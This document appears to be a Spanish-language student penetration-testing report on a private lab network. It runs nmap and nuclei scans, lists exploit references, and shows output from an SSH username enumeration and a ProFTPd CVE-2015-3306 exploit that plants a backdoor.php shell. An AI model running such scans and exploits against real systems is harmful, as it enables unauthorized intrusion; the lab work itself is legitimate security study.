1.1_Descubrimiento en NMAP

Hosts activos

Direccion IP: 192.168.0.1 - Direccion MAC: 70:4F:57:94:54:1E

Direccion IP: 192.168.0.100 - Direccion MAC: C8:2B:96:60:9B:7F

Direccion IP: 192.168.0.101 - Direccion MAC: 34:AF:B3:A7:18:8E

Direccion IP: 192.168.0.104 - Direccion MAC: 00:D8:61:AA:C3:0A

Direccion IP: 192.168.0.110 - Direccion MAC: 08:00:27:42:51:79

Direccion IP: 192.168.0.109 - Direccion MAC:

1.1_Escaneo-de-red-con-python

* Hosts-activos

```
[+] HOST: 192.168.0.1       MAC: 70:4f:57:94:54:1e
[+] HOST: 192.168.0.104       MAC: 00:d8:61:aa:c3:0a
[+] HOST: 192.168.0.110       MAC: 08:00:27:42:51:79
[+] HOST: 192.168.0.100       MAC: c8:2b:96:60:9b:7f
[+] HOST: 192.168.0.101       MAC: 34:af:b3:a7:18:8e
```

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

### 192.168.0.110

Port	*State*	*Service*
111/tcp	*open*	*rpcbind*
139/tcp	*open*	*netbios-ssn*
21/tcp	*open*	*ftp*
22/tcp	*open*	*ssh*
3306/tcp	*open*	*mysql*
445/tcp	*open*	*microsoft-ds*
631/tcp	*open*	*ipp*
6667/tcp	*open*	*irc*
80/tcp	*open*	*http*
8080/tcp	*open*	*http-proxy*

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

### 192.168.0.109

Port	State	Service
22/tcp	open	ssh
80/tcp	open	http

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

### 192.168.0.100

Port	*State*	*Service*
8081/tcp	*open*	*blackice-icecap*

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

### 192.168.0.1

Port	State	Service
1900/tcp	open	upnp
22/tcp	open	ssh

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

(end of excerpt)

1.2_Escaneo-de-puertos-sin-utilizar-ICMP

Direccion IP:

### 192.168.0.101

Port	*State*	*Service*
1080/tcp	*open*	*socks*
8888/tcp	*open*	*sun-answerbook*

(end of excerpt)

1.2_Obtencion-de-puertos-TCP-abiertos

Direcciones:

IP: 192.168.0.110 - ipv4
Fisica: mac - 08:00:27:42:51:79

Puertos:

Los 990 puertos escaneados pero no presentados, estan en estado: closed
Los 990 puertos respondieron con: resets

### 192.168.0.110

Port	State	Service
111/tcp	open	rpcbind
139/tcp	open	netbios-ssn
21/tcp	open	ftp
22/tcp	open	ssh
3306/tcp	open	mysql
445/tcp	open	microsoft-ds
631/tcp	open	ipp
6667/tcp	open	irc
80/tcp	open	http
8080/tcp	open	http-proxy

(end of excerpt)

1.2_Obtencion-de-puertos-TCP-abiertos

Direcciones:

IP: 192.168.0.1 - ipv4
Fisica: mac - 70:4F:57:94:54:1E

Puertos:

Los 998 puertos escaneados pero no presentados, estan en estado: closed
Los 998 puertos respondieron con: resets

### 192.168.0.1

Port	State	Service
1900/tcp	open	upnp
22/tcp	open	ssh

(end of excerpt)

1.2_Obtencion-de-puertos-TCP-abiertos

Direcciones:

IP: 192.168.0.101 - ipv4
Fisica: mac - 34:AF:B3:A7:18:8E

Puertos:

Los [] puertos escaneados pero no presentados, estan en estado: []
Los [] puertos respondieron con: []

### 192.168.0.101

Port	State	Service
1080/tcp	open	socks
8888/tcp	open	sun-answerbook

(end of excerpt)

1.2_Obtencion-de-puertos-TCP-abiertos

Direcciones:

IP: 192.168.0.104 - ipv4
Fisica: mac - 00:D8:61:AA:C3:0A

Puertos:

Los 1000 puertos escaneados pero no presentados, estan en estado: filtered
Los 1000 puertos respondieron con: no-responses

1.2_Obtencion-de-puertos-TCP-abiertos

Direcciones:

IP: 192.168.0.100 - ipv4
Fisica: mac - C8:2B:96:60:9B:7F

Puertos:

Los 999 puertos escaneados pero no presentados, estan en estado: closed
Los 999 puertos respondieron con: resets

### 192.168.0.100

Port	State	Service
8081/tcp	open	blackice-icecap

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-con-nuclei

TemplateID: CVE-2015-3306 - Severidad: high
Referencia: https://github.com/t0kx/exploit-CVE-2015-3306
Nombre: ProFTPd RCE
Descripcion:

The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.

(end of excerpt)

Objetivo emparejado con cve: 192.168.0.110:21

TemplateID: smb-v1-detection - Severidad: low
Referencia: https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/
Nombre: SMB-V1 Detection
Descripcion:
Objetivo emparejado con cve: 192.168.0.110:445

TemplateID: CVE-2018-15473 - Severidad: low
Referencia: https://nvd.nist.gov/vuln/detail/CVE-2018-15473
Nombre: OpenSSH Username Enumeration
Descripcion:

OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.

(end of excerpt)

Objetivo emparejado con cve: 192.168.0.110:22

1.3_Vulnerabilidades-mediante-puertos-TCP

Direccion IP:

(end of excerpt)

1.3_Vulnerabilidades-mediante-puertos-TCP

Direccion IP:

#### 192.168.0.101

Port	Service	Script	Salida
1080/tcp/open	socks	[script.id]	[script.output]
16992/tcp/closed	amt-soap-http	[script.id]	[script.output]
16993/tcp/closed	amt-soap-https	[script.id]	[script.output]
17877/tcp/closed	unknown	[script.id]	[script.output]
17988/tcp/closed	unknown	[script.id]	[script.output]
18040/tcp/closed	unknown	[script.id]	[script.output]
18101/tcp/closed	unknown	[script.id]	[script.output]
18988/tcp/closed	unknown	[script.id]	[script.output]
19101/tcp/closed	unknown	[script.id]	[script.output]
19283/tcp/closed	keysrvr	[script.id]	[script.output]
19315/tcp/closed	keyshadow	[script.id]	[script.output]
19350/tcp/closed	unknown	[script.id]	[script.output]
19780/tcp/closed	unknown	[script.id]	[script.output]
19801/tcp/closed	unknown	[script.id]	[script.output]
19842/tcp/closed	unknown	[script.id]	[script.output]
20000/tcp/closed	dnp	[script.id]	[script.output]
20005/tcp/closed	btx	[script.id]	[script.output]
20031/tcp/closed	unknown	[script.id]	[script.output]
20221/tcp/closed	unknown	[script.id]	[script.output]
20222/tcp/closed	ipulse-ics	[script.id]	[script.output]
20828/tcp/closed	unknown	[script.id]	[script.output]
21571/tcp/closed	unknown	[script.id]	[script.output]
22939/tcp/closed	unknown	[script.id]	[script.output]
23502/tcp/closed	unknown	[script.id]	[script.output]
24444/tcp/closed	unknown	[script.id]	[script.output]
24800/tcp/closed	unknown	[script.id]	[script.output]
25734/tcp/closed	unknown	[script.id]	[script.output]
25735/tcp/closed	unknown	[script.id]	[script.output]
26214/tcp/closed	unknown	[script.id]	[script.output]
27000/tcp/closed	flexlm0	[script.id]	[script.output]
27352/tcp/closed	unknown	[script.id]	[script.output]
27353/tcp/closed	unknown	[script.id]	[script.output]
27355/tcp/closed	unknown	[script.id]	[script.output]
27356/tcp/closed	unknown	[script.id]	[script.output]
27715/tcp/closed	unknown	[script.id]	[script.output]
28201/tcp/closed	unknown	[script.id]	[script.output]
30000/tcp/closed	ndmps	[script.id]	[script.output]
30718/tcp/closed	unknown	[script.id]	[script.output]
30951/tcp/closed	unknown	[script.id]	[script.output]
31038/tcp/closed	unknown	[script.id]	[script.output]

1.3_Vulnerabilidades-mediante-puertos-TCP

31337/tcp/closed	*Elite*	*[script.id]*	*[script.output]*
8888/tcp/open	*sun-answerbook*	*[script.id]*	*[script.output]*

(end of excerpt)

1.3_Vulnerabilidades-mediante-puertos-TCP

Direccion IP:

#### 192.168.0.100

Port	*Service*	*Script*	*Salida*
8081/tcp/open	*blackice-icecap*	*[script.id]*	*[script.output]*

(end of excerpt)

1.3_Vulnerabilidades-mediante-puertos-TCP

Direccion IP:

#### 192.168.0.109

Port	*Service*	*Script*	*Salida*
22/tcp/open	*ssh*	*[script.id]*	*[script.output]*
80/tcp/open	*http*	*http-csrf*	*Couldn't find any CSRF vulnerabilities.*

(end of excerpt)

UNIVERSIDAD DE CUENCA

1.3_Vulnerabilidades-mediante-puertos-TCP

Direccion IP:

#### 192.168.0.1

Port	Service	Script	Salida
1900/tcp/open	upnp	[script.id]	[script.output]
22/tcp/open	ssh	[script.id]	[script.output]

(end of excerpt)

1.3_Vulnerabilidades-mediante-puertos-TCP

Direccion IP:

```
#### 192.168.0.110

| Port | Service | Script | Salida |
|------|---------|--------|--------|
| 111/tcp/open | rpcbind |  [script.id] |  [script.output] |
| 139/tcp/open | netbios-ssn |  [script.id] |  [script.output] |
| 21/tcp/open | ftp |  sslv2-drown |
 |
| 22/tcp/open | ssh |  [script.id] |  [script.output] |
| 3306/tcp/open | mysql |  mysql-vuln-cve2012-2122 |  ERROR: Script execution failed (use -d to debug) |
| 445/tcp/open | microsoft-ds |  [script.id] |  [script.output] |
| 631/tcp/open | ipp |  sslv2-drown |
 |
| 6667/tcp/open | irc |  irc-botnet-channels |
  ERROR: EOF
 |
| 80/tcp/open | http |  http-csrf |
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.110
  Found the following possible CSRF vulnerabilities:

    Path: http://192.168.0.110:80/payroll_app.php
    Form id:
    Form action:
 |
| 8080/tcp/open | http-proxy |  [script.id] |  [script.output] |
```

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Direccion IP:

#### 192.168.0.101

Port	*Service*	*Script*	*Salida*
1080/tcp/open	*socks5*	*[script.id]*	*[script.output]*
8888/tcp/open	*tcpwrapped*	*[script.id]*	*[script.output]*

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Direccion IP:

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Direccion IP:

#### 192.168.0.1

Port	Service	Script	Salida
1900/tcp/open	upnp	[script.id]	[script.output]
22/tcp/open	ssh	vulners	ERROR: Script execution failed (use -d to debug)

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Direccion IP:

```
#### 192.168.0.110

| Port | Service | Script | Salida |
|------|---------|--------|--------|
| 111/tcp/open | rpcbind |  rpcinfo |
  program version    port/proto  service
  100000  2,3,4        111/tcp   rpcbind
  100000  2,3,4        111/udp   rpcbind
  100000  3,4          111/tcp6  rpcbind
  100000  3,4          111/udp6  rpcbind
  100024  1          40247/tcp   status
  100024  1          43223/udp6  status
  100024  1          47318/tcp6  status
  100024  1          47724/udp   status
 |
| 139/tcp/open | netbios-ssn |  [script.id] |  [script.output] |
| 21/tcp/open | ftp |  vulners |
  cpe:/a:proftpd:proftpd:1.3.5:

 SAINT:950EB68D408A40399926A4CCAD3CC62E 10.0 https://vulners.com/saint/SAINT:950EB68D408A40399926A4CCAD3CC62E *EXPLOIT*

 SAINT:63FB77B9136D48259E4F0D4CDA35E957 10.0 https://vulners.com/saint/SAINT:63FB77B9136D48259E4F0D4CDA35E957 *EXPLOIT*

 SAINT:1B08F4664C428B180EEC9617B41D9A2C 10.0 https://vulners.com/saint/SAINT:1B08F4664C428B180EEC9617B41D9A2C *EXPLOIT*
     PROFTPD_MOD_COPY 10.0 https://vulners.com/canvas/PROFTPD_MOD_COPY *EXPLOIT*
     PACKETSTORM:162777 10.0 https://vulners.com/packetstorm/PACKETSTORM:162777 *EXPLOIT*
     PACKETSTORM:132218 10.0 https://vulners.com/packetstorm/PACKETSTORM:132218 *EXPLOIT*
     PACKETSTORM:131567 10.0 https://vulners.com/packetstorm/PACKETSTORM:131567 *EXPLOIT*
     PACKETSTORM:131555 10.0 https://vulners.com/packetstorm/PACKETSTORM:131555 *EXPLOIT*
     PACKETSTORM:131505 10.0 https://vulners.com/packetstorm/PACKETSTORM:131505 *EXPLOIT*

 MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC 10.0 https://vulners.com/metasploit/MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC *EXPLOIT*
     EDB-ID:49908 10.0 https://vulners.com/exploitdb/EDB-ID:49908 *EXPLOIT*
     EDB-ID:37262 10.0 https://vulners.com/exploitdb/EDB-ID:37262 *EXPLOIT*
     EDB-ID:36803 10.0 https://vulners.com/exploitdb/EDB-ID:36803 *EXPLOIT*
     EDB-ID:36742 10.0 https://vulners.com/exploitdb/EDB-ID:36742 *EXPLOIT*
     CVE-2015-3306 10.0 https://vulners.com/cve/CVE-2015-3306
     1337DAY-ID-23720 10.0 https://vulners.com/zdt/1337DAY-ID-23720 *EXPLOIT*
     1337DAY-ID-23544 10.0 https://vulners.com/zdt/1337DAY-ID-23544 *EXPLOIT* |
| 22/tcp/open | ssh |  vulners |
```

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

```
  cpe:/a:openbsd:openssh:6.6.1p1:
    CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600 |
| 3306/tcp/open | mysql |  [script.id] |  [script.output] |
| 445/tcp/open | netbios-ssn |  [script.id] |  [script.output] |
| 631/tcp/open | ipp |  http-server-header |  CUPS/1.7 IPP/2.1 |
| 6667/tcp/open | irc |  [script.id] |  [script.output] |
| 80/tcp/open | http |  http-server-header |  Apache/2.4.7 (Ubuntu) |
| 8080/tcp/open | http |  http-server-header |  Jetty(8.1.7.v20120910) |
```

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Direccion IP:

#### 192.168.0.100

Port	Service	Script	Salida
8081/tcp/open	blackice-icecap	[script.id]	[script.output]

(end of excerpt)

1.3_Escaneo-de-vulnerabilidades-utilizando-servicios-obtenidos-con-NMAP

Direccion IP:

#### 192.168.0.109

Port	*Service*	*Script*	*Salida*
22/tcp/open	*ssh*	*[script.id]*	*[script.output]*
80/tcp/open	*http*	*http-server-header*	*Apache/2.4.41 (Ubuntu)*

(end of excerpt)

2.1_Ataques-realizados

* CVE_ID:cve-2018-15473

```
[+] OpenSSH version 6.6 found
[+] Debian-exim found!
[+] Debian-snmp found!
[!] SSH negotiation failed for user demo
[+] demos found!
[+] diag found!
[!] SSH negotiation failed for user libuuid
[+] lightdm found!
[+] list found!
[+] listen found!
[+] lp found!
[+] sslh found!
[!] SSH negotiation failed for user sssd
[!] SSH negotiation failed for user stunnel4
[+] sym found!
[+] symop found!
[+] avahi found!
[!] SSH negotiation failed for user avahi-autoipd
[+] backup found!
[+] bbs found!
[+] beef-xss found!
[+] man found!
[+] me found!
[+] messagebus found!
[+] miredo found!
[+] mountfs found!
[!] SSH negotiation failed for user syslog
[!] SSH negotiation failed for user system_admin
[+] systemd-bus-proxy found!
[+] systemd-coredump found!
[+] systemd-network found!
[+] couchdb found!
[+] cups-pk-helper found!
[+] daemon found!
[+] dbadmin found!
[+] dbus found!
[+] OutOfBox found!
[+] pi found!
[!] SSH negotiation failed for user polkitd
[+] pollinate found!
[+] popr found!
[!] SSH negotiation failed for user udadmin
[+] ultra found!
```

2.1_Ataques-realizados

```
[+] umountfs found!
[!] SSH negotiation failed for user umountfsys
[+] umountsys found!
[+] fal found!
[+] fax found!
[!] SSH negotiation failed for user ftp
[+] games found!
[+] gdm found!
[+] mountfsys found!
[!] SSH negotiation failed for user mountsys
[!] SSH negotiation failed for user mysql
[+] news found!
[+] noaccess found!
[+] sgiweb found!
[+] shutdown found!
[+] sigver found!
[!] SSH negotiation failed for user speech-dispatcher
[+] sshd found!
[+] administrator found!
[!] SSH negotiation failed for user anon
[!] SSH negotiation failed for user _apt
[+] arpwatch found!
[+] auditor found!
[+] informix found!
[+] install found!
[!] SSH negotiation failed for user iodine
[+] irc found!
[+] jet found!
[!] SSH negotiation failed for user ROOT
[!] SSH negotiation failed for user rooty
[!] SSH negotiation failed for user rpc
[+] rpcuser found!
[!] SSH negotiation failed for user rtkit
[+] sync found!
[!] SSH negotiation failed for user sys
[+] sysadm found!
[+] sysadmin found!
[+] sysbin found!
[+]  found!
[+] 4Dgifts found!
[!] SSH negotiation failed for user abrt
```

2.1_Ataques-realizados

```
[+] adm found!
[+] admin found!
[!] SSH negotiation failed for user lpadm
[+] lpadmin found!
[!] SSH negotiation failed for user lxd
[+] lynx found!
[+] mail found!
[+] postfix found!
[!] SSH negotiation failed for user postgres
[!] SSH negotiation failed for user postmaster
[!] SSH negotiation failed for user printer
[+] proxy found!
[+] systemd-resolve found!
[+] systemd-timesync found!
[+] tcpdump found!
[+] trouble found!
[+] tss found!
[+] distccd found!
[+] dni found!
[+] dnsmasq found!
[+] dradis found!
[!] SSH negotiation failed for user EZsetup
[+] nobody found!
[+] nobody4 found!
[+] ntp found!
[!] SSH negotiation failed for user nuucp
[+] nxautomation found!
[+] unix found!
[!] SSH negotiation failed for user unscd
[+] us_admin found!
[+] usbmux found!
[+] user found!
[+] chronos found!
[!] SSH negotiation failed for user chrony
[!] SSH negotiation failed for user cmwlogin
[+] cockpit-ws found!
[+] colord found!
[+] karaf found!
[!] SSH negotiation failed for user kernoops
[+] king-phisher found!
[+] landscape found!
```

2.1_Ataques-realizados

```
[!] SSH negotiation failed for user libstoragemgmt
[!] SSH negotiation failed for user pulse
[!] SSH negotiation failed for user redsocks
[!] SSH negotiation failed for user rfindd
[+] rje found!
[+] root found!
[+] uucp found!
[+] uucpadm found!
[+] uuidd found!
[+] vagrant found!
[+] varnish found!
[+] geoclue found!
[!] SSH negotiation failed for user gnats
[!] SSH negotiation failed for user gnome-initial-setup
[+] gopher found!
[!] SSH negotiation failed for user gropher
[+] guest found!
[+] haldaemon found!
[+] halt found!
[+] hplip found!
[+] inetsim found!
[!] SSH negotiation failed for user rwhod
[+] saned found!
[!] SSH negotiation failed for user service
[+] setroubleshoot found!
[+] setup found!
[+] xpdb found!
[+] xpopr found!
[+] zabbix found!
[+] bin found!
[+] bitnami found!
[+] checkfs found!
[+] checkfsys found!
[+] checksys found!
[+] nxpgsql found!
[+] omi found!
[+] omsagent found!
[+] operator found!
[+] oracle found!
[+] web found!
[+] webmaster found!
```

2.1_Ataques-realizados

```
[+] whoopsie found!
[+] www found!
[+] www-data found!
```

(end of excerpt)

2.1_Ataques-realizados

* CVE_ID:0cve-2015-3306

```
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 192.168.0.110:21
[+] Target exploited, acessing shell at http://192.168.0.110/backdoor.php
[+] Running whoami: www-data
[+] Done
```

(end of excerpt)
